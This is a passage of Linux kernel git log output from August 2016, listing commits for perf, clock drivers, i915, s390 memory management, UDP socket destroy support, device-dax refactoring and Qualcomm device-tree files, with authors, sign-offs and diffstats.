Gleixner Link: http://lkml.kernel.org/r/20160823172356.15879-1-bp@alien8.de Signed-off-by: Ingo Molnar arch/x86/kernel/cpu/common.c | 5 ----- 1 file changed, 5 deletions(-) commit e56375155e95019cd4abc55d30c2c1a415037e27 Author: Colin Ian King Date: Wed Aug 24 07:48:06 2016 +0100 ASoC: tas5086: fix typo: "Inavlid" -> "Invalid" trivial typo fix in dev_err message Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/codecs/tas5086.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 36e674a05164cdbb9d4a5b1b0b279fabae6c13bd Merge: b6a32f0 5e30d55 Author: Ingo Molnar Date: Wed Aug 24 11:08:10 2016 +0200 Merge tag 'perf-core-for-mingo-20160823' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Pull perf/core improvements and fixes from Arnaldo Carvalho de Melo: User visible changes: . Allow configuring the default 'perf report -s' sort order in ~/.perfconfig, for instance, "sym,dso" may be more fitting for kernel developers. (Arnaldo Carvalho de Melo) - Support x8/x16/x32/x64 hexadecimal "types" in ftrace and 'perf probe' (Masami Hiramatsu) Infrastructure changes: - Skip running the feature tests for 'make install-doc' (Rui Teng) - Introduce tools/include/linux/time64.h with *SEC_PER_*SEC macros to use in all of tools/ (Arnaldo Carvalho de Melo) - Break down symbol__disassemble() into multiple functions, to ease future work on better reporting the errors that may take place in the various steps it performs (possibly decompressing kernel module files, getting build-id keyed files, calling objdump, parsing its output, etc) (Arnaldo Carvalho de Melo) - Typo fixes in various places (Colin Ian King) - Remove superfluous NULL check in the TUI code (Colin Ian King) - Allow displaying multiple header lines in the TUI browser, prep work for the 'perf c2c' browser (Jiri Olsa) - Copy coresight-pmu.h header file needed by perf tools (Mathieu Poirier) - Use __weak definition from linux/compiler.h (Rui Teng) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 0f7dd7acda0add9cbd39caa6902c9e79ecb0a89d Author: Wei Yongjun Date: Sat Aug 20 15:31:05 2016 +0000 clk: mvebu: Remove redundant dev_err call in armada_3700_periph_clock_probe() There is a error message within devm_ioremap_resource already, so remove the dev_err call to avoid redundant error message. Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/mvebu/armada-37xx-periph.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 718cc4b60ff279c0d6169d109e22cb107b23e312 Author: Wei Yongjun Date: Mon Aug 22 16:08:21 2016 +0000 clk: meson: Fix invalid use of sizeof in gxbb_aoclkc_probe() sizeof() when applied to a pointer typed expression gives the size of the pointer, not that of the pointed data. Signed-off-by: Wei Yongjun Acked-by: Neil Armstrong Fixes: f8c11f79912d ("clk: meson: Add GXBB AO Clock and Reset controller driver") Signed-off-by: Stephen Boyd drivers/clk/meson/gxbb-aoclk.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b70765463665e26cfc44359547923fdfd1d75b62 Author: Maarten Lankhorst Date: Tue Aug 23 16:18:08 2016 +0200 drm/i915: Cleanup crt disable sequence on hsw+ Instead of iterating overthe connectors manually, run the last part of DDI disabling inside the crt post disable function. This was meant to be addressed before submitting the other commit, but I missed the review comments. Fixes: fd6bbda9c7a4 ("drm/i915: Pass crtc_state and connector_state to encoder functions") Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471961888-10771-2-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter [mlankhorst: Fix extra whitespace between functions.] drivers/gpu/drm/i915/intel_crt.c | 15 ++++++++ drivers/gpu/drm/i915/intel_ddi.c | 66 ++++++++++++++++++------------------ drivers/gpu/drm/i915/intel_display.c | 25 ++------------ drivers/gpu/drm/i915/intel_drv.h | 8 +++-- 4 files changed, 56 insertions(+), 58 deletions(-) commit 496b0fc370caaf4072c19ac9120bf5c58f057d59 Author: Maarten Lankhorst Date: Tue Aug 23 16:18:07 2016 +0200 drm/i915: Create a intel_encoder_find_connector helper function. This makes the code in intel_sanitize_encoder slightly more readable. This was meant to be addressed in fd6bbda9c7a4, but I missed that review comment. Fixes: fd6bbda9c7a4 ("drm/i915: Pass crtc_state and connector_state to encoder functions") Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471961888-10771-1-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter [mlankhorst: Fix unused variable reported by kbuild.] drivers/gpu/drm/i915/intel_display.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit 351243897b15aba02ad15317724d616aeaf00c7d Author: Daniel Vetter Date: Tue Aug 23 22:15:02 2016 +0200 io-mapping: Fixup for different names of writecombine Somehow architectures can't agree on this. And for good measure make sure we have a fallback which should work everywhere (fingers crossed). v2: Make it compile properly, needs a defined() for the #elif. Fixes: ac96b5566926 ("io-mapping.h: s/PAGE_KERNEL_IO/PAGE_KERNEL/") Cc: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Cc: linux-mm@kvack.org Reviewed-by: Chris Wilson Reviewed-by: Joonas Lahtinen Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160823202233.4681-1-daniel.vetter@ffwll.ch (cherry picked from commit 80c33624e4723c4e22d9917cd676067ebf652dc2) include/linux/io-mapping.h | 6 ++++++ 1 file changed, 6 insertions(+) commit bcaaa0c4310ebe1ab04274594916bbb2d82a49c8 Author: Chris Wilson Date: Tue Aug 23 16:50:24 2016 +0100 io-mapping.h: s/PAGE_KERNEL_IO/PAGE_KERNEL/ PAGE_KERNEL_IO is an x86-ism. Though it is used to define the pgprot_t used for the iomapped region, it itself is just PAGE_KERNEL. On all other arches, PAGE_KERNEL_IO is undefined so in a general header we must refrain from using it. v2: include pgtable for pgprot_combine() Reported-by: Stephen Rothwell Fixes: cafaf14a5d8f ("io-mapping: Always create a struct to hold metadata about the io-mapping") Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Cc: linux-mm@kvack.org Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160823155024.22379-1-chris@chris-wilson.co.uk (cherry picked from commit ac96b5566926af83463ddcf4655856033c092f26) include/linux/io-mapping.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 80c33624e4723c4e22d9917cd676067ebf652dc2 Author: Daniel Vetter Date: Tue Aug 23 22:15:02 2016 +0200 io-mapping: Fixup for different names of writecombine Somehow architectures can't agree on this. And for good measure make sure we have a fallback which should work everywhere (fingers crossed). v2: Make it compile properly, needs a defined() for the #elif. Fixes: ac96b5566926 ("io-mapping.h: s/PAGE_KERNEL_IO/PAGE_KERNEL/") Cc: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Cc: linux-mm@kvack.org Reviewed-by: Chris Wilson Reviewed-by: Joonas Lahtinen Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160823202233.4681-1-daniel.vetter@ffwll.ch include/linux/io-mapping.h | 6 ++++++ 1 file changed, 6 insertions(+) commit 2ccb5bf0e2f190c825c69087aa40c89db89ca1ad Author: Markus Elfring Date: Sat Aug 20 19:25:34 2016 +0200 s390/tape: Use memdup_user() rather than duplicating its implementation Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Martin Schwidefsky drivers/s390/char/tape_3590.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit bd3a172557d6685f5fbd4b09713f74b84872e2b9 Author: Martin Schwidefsky Date: Mon Jul 18 14:05:21 2016 +0200 s390/pci: add zpci_report_error interface The 'report_error' interface for PCI devices found on s390 can be used by a user space program to inject an adapter error notification. Add a new kernel interface zpci_report_error to allow a PCI device driver to inject these error notifications without a detour over user space. Signed-off-by: Martin Schwidefsky arch/s390/include/asm/pci.h | 4 ++++ arch/s390/pci/pci.c | 9 +++++++++ 2 files changed, 13 insertions(+) commit 6c29588578edc9ae2c9fae27ff96f443cf39c0f3 Author: Dong Jia Shi Date: Mon Aug 8 04:27:15 2016 +0200 s390: cio: remove redundant cio_cancel declaration cio_cancel was declared twice. Remove one of them. Signed-off-by: Dong Jia Shi Signed-off-by: Martin Schwidefsky drivers/s390/cio/cio.h | 1 - 1 file changed, 1 deletion(-) commit 47e4d851c57840b3b5e440cf2c64c37e99b36a09 Author: Martin Schwidefsky Date: Tue Jun 14 12:41:35 2016 +0200 s390/mm: merge local / non-local IDTE helper Merge the __p[m|u]xdp_idte and __p[m|u]dp_idte_local functions into a single __p[m|u]dp_idte function with an additional parameter. Signed-off-by: Martin Schwidefsky arch/s390/include/asm/pgtable.h | 44 +++++++++++------------------------------ arch/s390/mm/pgtable.c | 10 +++++----- 2 files changed, 17 insertions(+), 37 deletions(-) commit 34eeaf376dbe53849acc3d4edc4efc2ad97ab23e Author: Martin Schwidefsky Date: Tue Jun 14 12:38:40 2016 +0200 s390/mm: merge local / non-local IPTE helper Merge the __ptep_ipte and __ptep_ipte_local functions into a single __ptep_ipte function with an additional parameter. The __pte_ipte_range function is still extra as the while loops makes it hard to merge. Signed-off-by: Martin Schwidefsky arch/s390/include/asm/pgtable.h | 30 +++++++++++++----------------- arch/s390/mm/pageattr.c | 4 ++-- arch/s390/mm/pgtable.c | 8 ++++---- 3 files changed, 19 insertions(+), 23 deletions(-) commit 44b6cc8130e80e673ba8b3baf8e41891fe484786 Author: Martin Schwidefsky Date: Mon Jun 13 10:36:00 2016 +0200 s390/mm,kvm: flush gmap address space with IDTE The __tlb_flush_mm() helper uses a global flush if the mm struct has a gmap structure attached to it. Replace the global flush with two individual flushes by means of the IDTE instruction if only a single gmap is attached the the mm. Signed-off-by: Martin Schwidefsky arch/s390/include/asm/mmu.h | 1 + arch/s390/include/asm/mmu_context.h | 1 + arch/s390/include/asm/tlbflush.h | 40 ++++++++++++++++--------------------- arch/s390/mm/gmap.c | 15 ++++++++++++++ 4 files changed, 34 insertions(+), 23 deletions(-) commit d5dcafee5f183e9aedddb147a89cb46ab038f26b Author: Martin Schwidefsky Date: Fri Jun 10 10:56:44 2016 +0200 s390/mm: no local TLB flush for clearing-by-ASCE IDTE The local-clearing control of the IDTE instruction does not have any effect for the clearing-by-ASCE operation. Only the invalidation-and-clearing operation respects the local-clearing bit. Remove __tlb_flush_idte_local and simplify the batched TLB flushing code. Reviewed-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/include/asm/tlbflush.h | 44 ++++++++-------------------------------- 1 file changed, 9 insertions(+), 35 deletions(-) commit 82acc69402d91bde8657c0db26e5211943de65fd Author: Wolfram Sang Date: Fri Aug 12 18:45:10 2016 +0200 ARM: shmobile: r8a7791: only use smp_init when SMP is selected We use the helper function which populates the smp_init pointer only in case of SMP. Signed-off-by: Wolfram Sang Signed-off-by: Simon Horman arch/arm/mach-shmobile/setup-r8a7791.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 274607942b789f3a26a11f68464f1f0c15995e87 Author: Wolfram Sang Date: Fri Aug 12 18:45:09 2016 +0200 ARM: shmobile: r8a7790: only use smp_init when SMP is selected We use the helper function which populates the smp_init pointer only in case of SMP. Signed-off-by: Wolfram Sang Signed-off-by: Simon Horman arch/arm/mach-shmobile/setup-r8a7790.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e53ee45435465aa8fb87eb2e01503d55159b3c6a Merge: 5d77dca ba2489b Author: David S. Miller Date: Tue Aug 23 23:25:37 2016 -0700 Merge branch 'remove-clear_sk' Eric Dumazet says: ==================== net: remove clear_sk() method Since IPv6 socket lookups no longer dereference pinet6 pointer and UDP lost SLAB_DESTROY_BY_RCU special rules, we no longer need special clear_sk() methods. ==================== Signed-off-by: David S. Miller commit ba2489b0e0113f68a25fe7a563842c2b591829d7 Author: Eric Dumazet Date: Tue Aug 23 11:39:29 2016 -0700 net: remove clear_sk() method We no longer use this handler, we can delete it. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller include/net/sock.h | 1 - net/core/sock.c | 8 ++------ 2 files changed, 2 insertions(+), 7 deletions(-) commit 391bb6be6578829540bc466fc85da44a68148b84 Author: Eric Dumazet Date: Tue Aug 23 11:39:28 2016 -0700 ipv6: tcp: get rid of tcp_v6_clear_sk() Now RCU lookups of IPv6 TCP sockets no longer dereference pinet6, we do not need tcp_v6_clear_sk() anymore. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv6/tcp_ipv6.c | 12 ------------ 1 file changed, 12 deletions(-) commit 4cac8204661a6d1a842e47911933f1e90b392c84 Author: Eric Dumazet Date: Tue Aug 23 11:39:27 2016 -0700 udp: get rid of sk_prot_clear_portaddr_nulls() Since we no longer use SLAB_DESTROY_BY_RCU for UDP, we do not need sk_prot_clear_portaddr_nulls() helper. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller include/net/sock.h | 2 -- net/core/sock.c | 18 ------------------ net/ipv4/udp.c | 1 - net/ipv4/udplite.c | 1 - net/ipv6/udplite.c | 1 - 5 files changed, 23 deletions(-) commit 6a6ad2a4e57bc907a6977eef6cad49348ad2744b Author: Eric Dumazet Date: Tue Aug 23 11:39:26 2016 -0700 ipv6: udp: remove udp_v6_clear_sk() Now RCU lookups of ipv6 udp sockets no longer dereference pinet6 field, we can get rid of udp_v6_clear_sk() helper. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv6/udp.c | 12 ------------ net/ipv6/udp_impl.h | 2 -- net/ipv6/udplite.c | 2 +- 3 files changed, 1 insertion(+), 15 deletions(-) commit 5d77dca82839ef016a93ad7acd7058b14d967752 Author: David Ahern Date: Tue Aug 23 21:06:33 2016 -0700 net: diag: support SOCK_DESTROY for UDP sockets This implements SOCK_DESTROY for UDP sockets similar to what was done for TCP with commit c1e64e298b8ca ("net: diag: Support destroying TCP sockets.") A process with a UDP socket targeted for destroy is awakened and recvmsg fails with ECONNABORTED. Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/udp.h | 1 + net/ipv4/udp.c | 15 ++++++++++ net/ipv4/udp_diag.c | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++ net/ipv6/udp.c | 1 + 4 files changed, 96 insertions(+) commit 5128b18522e143e634712ceef6a007333b8c7439 Author: Wei Yongjun Date: Tue Aug 23 23:01:02 2016 +0000 tipc: use kfree_skb() instead of kfree() Use kfree_skb() instead of kfree() to free sk_buff. Fixes: 0d051bf93c06 ("tipc: make bearer packet filtering generic") Signed-off-by: Wei Yongjun Acked-by: Ying Xue Signed-off-by: David S. Miller net/tipc/bearer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9d2d01a031a945075d4609b1c4d3c73f10ba61e7 Author: Dan Williams Date: Tue Jul 19 16:17:58 2016 -0700 dax: check resource alignment at dax region/device create All the extents of a dax-device must match the alignment of the region. Otherwise, we are unable to guarantee fault semantics of a given page size. The region must be self-consistent itself as well. Signed-off-by: Dan Williams drivers/dax/dax.c | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) commit 9dc1e4927bfabaf654738c9ecca3a4926a0aaeb5 Author: Dan Williams Date: Thu Aug 4 16:53:50 2016 -0700 dax: unmap/truncate on device shutdown Invalidate all mappings of a device-dax instance when the device is unregistered. Signed-off-by: Dan Williams drivers/dax/dax.c | 1 + 1 file changed, 1 insertion(+) commit 3bc52c45bac26bf7ed1dc8d287ad1aeaed1250b6 Author: Dan Williams Date: Sun Jul 24 21:55:45 2016 -0700 dax: define a unified inode/address_space for device-dax mappings In support of enabling resize / truncate of device-dax instances, define a pseudo-fs to provide a unified inode/address space for vm operations. Cc: Al Viro Signed-off-by: Dan Williams drivers/dax/dax.c | 150 +++++++++++++++++++++++++++++++++++++++++++-- fs/char_dev.c | 1 + include/uapi/linux/magic.h | 1 + 3 files changed, 148 insertions(+), 4 deletions(-) commit ba09c01d2fa866f22e42ac2af405fe386f491879 Author: Dan Williams Date: Sun Jul 24 15:55:42 2016 -0700 dax: convert to the cdev api A goal of the device-DAX interface is to be able to support many exclusive allocations (partitions) of performance / feature differentiated memory. This count may exceed the default minors limit of 256. As a result of switching to an embedded cdev the inode-to-dax_dev conversion is simplified, as well as reference counting which can switch to the cdev kobject lifetime. Cc: Al Viro Signed-off-by: Dan Williams drivers/dax/Kconfig | 5 ++++ drivers/dax/dax.c | 82 ++++++++++++++++++++++++++--------------------------- 2 files changed, 46 insertions(+), 41 deletions(-) commit ebd84d724c85f22037a5c9cb04b9e6631309cb78 Author: Dan Williams Date: Thu Aug 11 00:41:51 2016 -0700 dax: embed a struct device in dax_dev The kref in dax_dev can be made redundant if the final put_device() on the device associated with the dax_dev frees the dax_dev. This can be accomplished by embedding a struct device in struct dax_dev, open coding device_create() and specifying a custom release method. Signed-off-by: Dan Williams drivers/dax/dax.c | 130 +++++++++++++++++++----------------------------------- 1 file changed, 45 insertions(+), 85 deletions(-) commit af69f51e506f5ad3625c817ba2449a439bbe68ef Author: Dan Williams Date: Thu Aug 11 00:38:03 2016 -0700 dax: rename fops from dax_dev_ to dax_ Shorten the prefix of the file operations to distinguish them from operations on the struct device associated with the dax_dev. Signed-off-by: Dan Williams drivers/dax/dax.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 043a9255021bad498e31365d104d33915b6a6e33 Author: Dan Williams Date: Sun Aug 7 08:23:56 2016 -0700 dax: reorder dax_fops function definitions In order to convert devm_create_dax_dev() to use cdev, it will need access to dax_fops. Move dax_fops and related function definitions before devm_create_dax_dev(). Signed-off-by: Dan Williams drivers/dax/dax.c | 337 +++++++++++++++++++++++++++--------------------------- 1 file changed, 168 insertions(+), 169 deletions(-) commit ccdb07f62986968ecd687a71550ed187c8cf875c Author: Dan Williams Date: Sat Aug 6 16:05:06 2016 -0700 dax: cleanup needlessly global symbol warnings drivers/dax/dax.c:75:6: warning: symbol 'dax_region_put' was not declared. drivers/dax/dax.c:95:19: warning: symbol 'alloc_dax_region' was not declared. drivers/dax/dax.c:173:5: warning: symbol 'devm_create_dax_dev' was not declared. drivers/dax/pmem.c:27:17: warning: symbol 'to_dax_pmem' was not declared. Signed-off-by: Dan Williams drivers/dax/dax.c | 1 + drivers/dax/pmem.c | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) commit b7a0c7c5ba289a7d063d92c162b53e110757e331 Author: Masahiro Yamada Date: Wed Aug 24 01:42:54 2016 +0900 drm/gma500: remove unnecessary config_enabled() guard Commit d112a8163f83 ("gma500/cdv: Add eDP support") replaced the code inside this if-conditional with gma_backlight_set(), which becomes a nop stub if CONFIG_BACKLIGHT_CLASS_DEVICE is disabled. So, there is no need to guard the caller with config_enabled(). Note: This is one of remaining TODOs to deprecate config_enabled() macro. Refer to commit 97f2645f358b ("tree-wide: replace config_enabled() with IS_ENABLED()"). Signed-off-by: Masahiro Yamada Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471970574-23906-1-git-send-email-yamada.masahiro@socionext.com drivers/gpu/drm/gma500/opregion.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 88ea168f0a35c6aeab3c6703f7eb3b1c925c5b12 Merge: 94f703a 08023fb Author: Krzysztof Kozlowski Date: Wed Aug 24 06:54:32 2016 +0200 Merge tag 'tags/samsung-defconfig-schedutil-4.9' into next/defconfig The schedutil cpufreq governor will be switched from tristate to bool. Fix defconfigs. commit a36289756212a79a1b32c02e66ddf11ba33ec7db Author: Pankaj Dubey Date: Tue Aug 23 11:31:16 2016 +0530 ARM: EXYNOS: Remove unused DMC and CMU offsets and their mappings Currently there is no user of DMC and CMU SFR offsets so we can safely remove mapping of their SFR address space and cleanup related offset macros from mach-exynos. Signed-off-by: Pankaj Dubey Signed-off-by: Krzysztof Kozlowski arch/arm/mach-exynos/exynos.c | 15 --------------- arch/arm/mach-exynos/include/mach/map.h | 5 ----- arch/arm/plat-samsung/include/plat/map-s5p.h | 4 ---- 3 files changed, 24 deletions(-) commit c03a4b24c355bce7758d75ca3a7aad18a8cbefa2 Author: John Stultz Date: Mon Aug 8 15:34:03 2016 -0700 device-tree: nexus7: Add IMEM syscon and reboot reason support This patch add the IMEM syscon memory region to the DT, as well as addds support for the magic reboot reason values that are written to the address for each mode. Cc: Rob Herring Cc: Andy Gross Cc: Bjorn Andersson Cc: Stephen Boyd Cc: linux-arm-msm@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: John Stultz Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-apq8064-asus-nexus7-flo.dts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit dcf5907e0e09a160a57160729f920add5df8e358 Author: Linus Walleij Date: Fri Aug 5 10:38:38 2016 +0200 ARM: dts: MSM8660 remove flags from SPMI/MPP IRQs The Qualcomm SPMI GPIO and MPP lines are problematic: the are fetched from the main MFD driver with platform_get_irq() which means that at this point they will all be assigned the flags set up for the interrupts in the device tree. That is problematic since these are flagged as rising edge and an this point the interrupt descriptor is assigned a rising edge, while the only thing the GPIO/MPP drivers really do is issue irq_get_irqchip_state() on the line to read it out and to provide a .to_irq() helper for *other* IRQ consumers. If another device tree node tries to flag the same IRQ for use as something else than rising edge, the kernel irqdomain core will protest like this: type mismatch, failed to map hwirq-NN for ! Which is what happens when the device tree defines two contradictory flags for the same interrupt line. To work around this and alleviate the problem, assign 0 as flag for the interrupts taken by the PM GPIO and MPP drivers. This will lead to the flag being unset, and a second consumer requesting rising, falling, both or level interrupts will be respected. This is what the qcom-pm*.dtsi files already do. Switched to using the symbolic name IRQ_TYPE_NONE so that we get this more readable. This misconfiguration was caused by a copy/pasting the APQ8064 set-up, the latter has been fixed in a separate patch. Tested with one of the SPMI GPIOs: after this I can successfully request one of these GPIOs as falling edge from the device tree. Fixes: 0840ea9e4457 ("ARM: dts: add GPIO and MPP to MSM8660 PMIC") Cc: Srinivas Kandagatla Cc: Stephen Boyd Cc: Björn Andersson Cc: Ivan T. Ivanov Cc: John Stultz Cc: Andy Gross Signed-off-by: Linus Walleij Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-msm8660.dtsi | 75 ++++++++++++++++++++++++++++--------- 1 file changed, 57 insertions(+), 18 deletions(-) commit ca88696e8b73a9fa2b1de445747e9235c3a7bd50 Author: Linus Walleij Date: Fri Aug 5 10:38:37 2016 +0200 ARM: dts: MSM8064 remove flags from SPMI/MPP IRQs The Qualcomm PMIC GPIO and MPP lines are problematic: the are fetched from the main MFD driver with platform_get_irq() which means that at this point they will all be assigned the flags set up for the interrupts in the device tree. That is problematic since these are flagged as rising edge and an this point the interrupt descriptor is assigned a rising edge, while the only thing the GPIO/MPP drivers really do is issue irq_get_irqchip_state() on the line to read it out and to provide a .to_irq() helper for *other* IRQ consumers. If another device tree node tries to flag the same IRQ for use as something else than rising edge, the kernel irqdomain core will protest like this: type mismatch, failed to map hwirq-NN for ! Which is what happens when the device tree defines two contradictory flags for the same interrupt line. To work around this and alleviate the problem, assign 0 as flag for the interrupts taken by the PM GPIO and MPP drivers. This will lead to the flag being unset, and a second consumer requesting rising, falling, both or level interrupts will be respected. This is what the qcom-pm*.dtsi files already do. Switched to using the symbolic name IRQ_TYPE_NONE so that we get this more readable. Cc: stable@vger.kernel.org Fixes: bce360469676 ("ARM: dts: apq8064: add pm8921 mpp support") Fixes: 874443fe9e33 ("ARM: dts: apq8064: Add pm8921 mfd and its gpio node") Cc: Srinivas Kandagatla Cc: Stephen Boyd Cc: Björn Andersson Cc: Ivan T. Ivanov Cc: John Stultz Cc: Andy Gross Signed-off-by: Linus Walleij Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-apq8064.dtsi | 76 +++++++++++++++++++++++++++---------- 1 file changed, 57 insertions(+), 19 deletions(-) commit f7af7de89fd50cc2d7aa092bb9a5e61654d65850 Author: Bhushan Shah Date: Fri Jul 29 11:39:10 2016 +0530 ARM: dts: msm8974-hammerhead: Introduce gpio-keys nodes This introduces the gpio-keys node for keys of hammerhead and pinctrl state associated with it. Cc: Andy Gross Cc: Bjorn Andersson Cc: David Brown Cc: Rob Herring Cc: Mark Rutland Cc: Russell King Cc: linux-arm-msm@vger.kernel.org Cc: linux-soc@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: Bhushan Shah Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross .../dts/qcom-msm8974-lge-nexus5-hammerhead.dts | 36 ++++++++++++++++++++++ 1 file changed, 36 insertions(+) commit b8066645f6c1783434cc1ef66f57a8f4384dcdcb Author: Bhushan Shah Date: Fri Jul 29 11:39:09 2016 +0530 ARM: dts: msm8974-hammerhead: Add regulator nodes for hammerhead Cc: Andy Gross Cc: Bjorn Andersson Cc: David Brown Cc: Rob Herring Cc: Mark Rutland Cc: Russell King Cc: linux-arm-msm@vger.kernel.org Cc: linux-soc@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: Bhushan Shah Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross .../dts/qcom-msm8974-lge-nexus5-hammerhead.dts | 203 +++++++++++++++++++++ 1 file changed, 203 insertions(+) commit b1100d8c31a95efbea087b11d16789e9236a4436 Author: Bhushan Shah Date: Fri Jul 29 11:39:06 2016 +0530 ARM: dts: qcom: Add initial DTS for LG Nexus 5 Phone This DTS file have support LG Nexus 5 (codenamed hammerhead). Initial version have support for just serial console over headphone jack. Cc: Andy Gross Cc: Bjorn Andersson Cc: David Brown Cc: Mark Rutland Cc: Rob Herring Cc: Russell King Cc: devicetree@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-arm-msm@vger.kernel.org Signed-off-by: Bhushan Shah Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm/boot/dts/Makefile | 1 + .../dts/qcom-msm8974-lge-nexus5-hammerhead.dts | 23 ++++++++++++++++++++++ 2 files changed, 24 insertions(+) commit 67f8425d0ee18c1047a5aaaea529d14d32ca9b43 Author: twp@codeaurora.org Date: Wed Jul 13 11:47:22 2016 -0700 ipq8064: dts: force AP148 SATA port mapping AP148 has a SATA port, but no entity to populate the AHCI Port Implemented register, so force this in DT. Signed-off-by: Thomas Pedersen Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-ipq8064-ap148.dts | 1 + 1 file changed, 1 insertion(+) commit 5cae8a9fbf0bfd5b4b090d260cb3a7e1138aed7d Author: Bhushan Shah Date: Wed Jul 13 13:04:26 2016 +0530 ARM: dts: msm8974: Add nodes for blsp1_uart1 serial port This serial port is used by LG Nexus 5 (codenammed hammerhead). Cc: Andy Gross Cc: Bjorn Andersson Cc: David Brown Cc: Stephen Boyd Cc: linux-arm-msm@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: Bhushan Shah Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-msm8974.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit 3f874a44f54628484238b5986233fc802116d93f Author: John Stultz Date: Tue Jul 12 15:39:55 2016 -0700 device-tree: aqp8064.dtsi: Remove usb phy dr_mode = "host" Most 8064 devices have micro-usb ports for phy1, so setting the dr_mode to host here seems incorrect. Leaving it unspecified should default to otg, and then any boards that wish to specify something else, can override it in their dts file. Cc: Rob Herring Cc: Andy Gross Cc: Bjorn Andersson Cc: Stephen Boyd Cc: linux-arm-msm@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: John Stultz Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-apq8064.dtsi | 1 - 1 file changed, 1 deletion(-) commit ec5200bb59abf28bf21df444caf26230bef6ae0c Author: John Stultz Date: Fri Jul 1 22:33:25 2016 -0700 device-tree: nexus7: Set phy mode to otg instead of host In order to have the usb phy work in gadget mode, override the default host mode with otg mode. This allows gadget mode to work w/o any hacks to the dtsi file. Cc: Rob Herring Cc: Andy Gross Cc: Bjorn Andersson Cc: Stephen Boyd Cc: linux-arm-msm@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: John Stultz Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-apq8064-asus-nexus7-flo.dts | 1 + 1 file changed, 1 insertion(+) commit 7422ee8e549b48a4acfa1df96238a1d128ca27e3 Author: Rajendra Nayak Date: Wed Aug 17 10:48:48 2016 +0530 arm64: dts: msm8996: Add thermal zones, tsens and qfprom nodes Add thermal zones and tsens node Acked-by: Eduardo Valentin Acked-by: Rob Herring Signed-off-by: Rajendra Nayak Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8996.dtsi | 92 +++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) commit 4f6e4892ea9a1af23e352628e491e9cbb124bc5f Author: Rajendra Nayak Date: Wed Aug 17 10:48:47 2016 +0530 arm64: dts: msm8916: Add thermal zones, tsens and qfprom nodes Add thermal zones, tsens and qfprom nodes Acked-by: Eduardo Valentin Acked-by: Rob Herring Signed-off-by: Rajendra Nayak Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8916.dtsi | 64 +++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) commit 0f6625fd00a534b47add4134c1fc760c9ef2cb58 Author: Marc Zyngier Date: Thu Aug 11 18:50:50 2016 +0100 arm64: dts: qcom: Fix broken interrupt trigger settings When a device uses the GIC as its interrupt controller and generates SPIs, only the values 1 (edge rising) and 4 (level high) are legal. Anything else is just plain wrong (can't be programmed into the HW), and leads to aborted driver probes (USB doesn't work with 4.8-rc1 on a Dragonboard 410C). Signed-off-by: Marc Zyngier Reviewed-by: Stephen Boyd Signed-off-by: Andy Gross 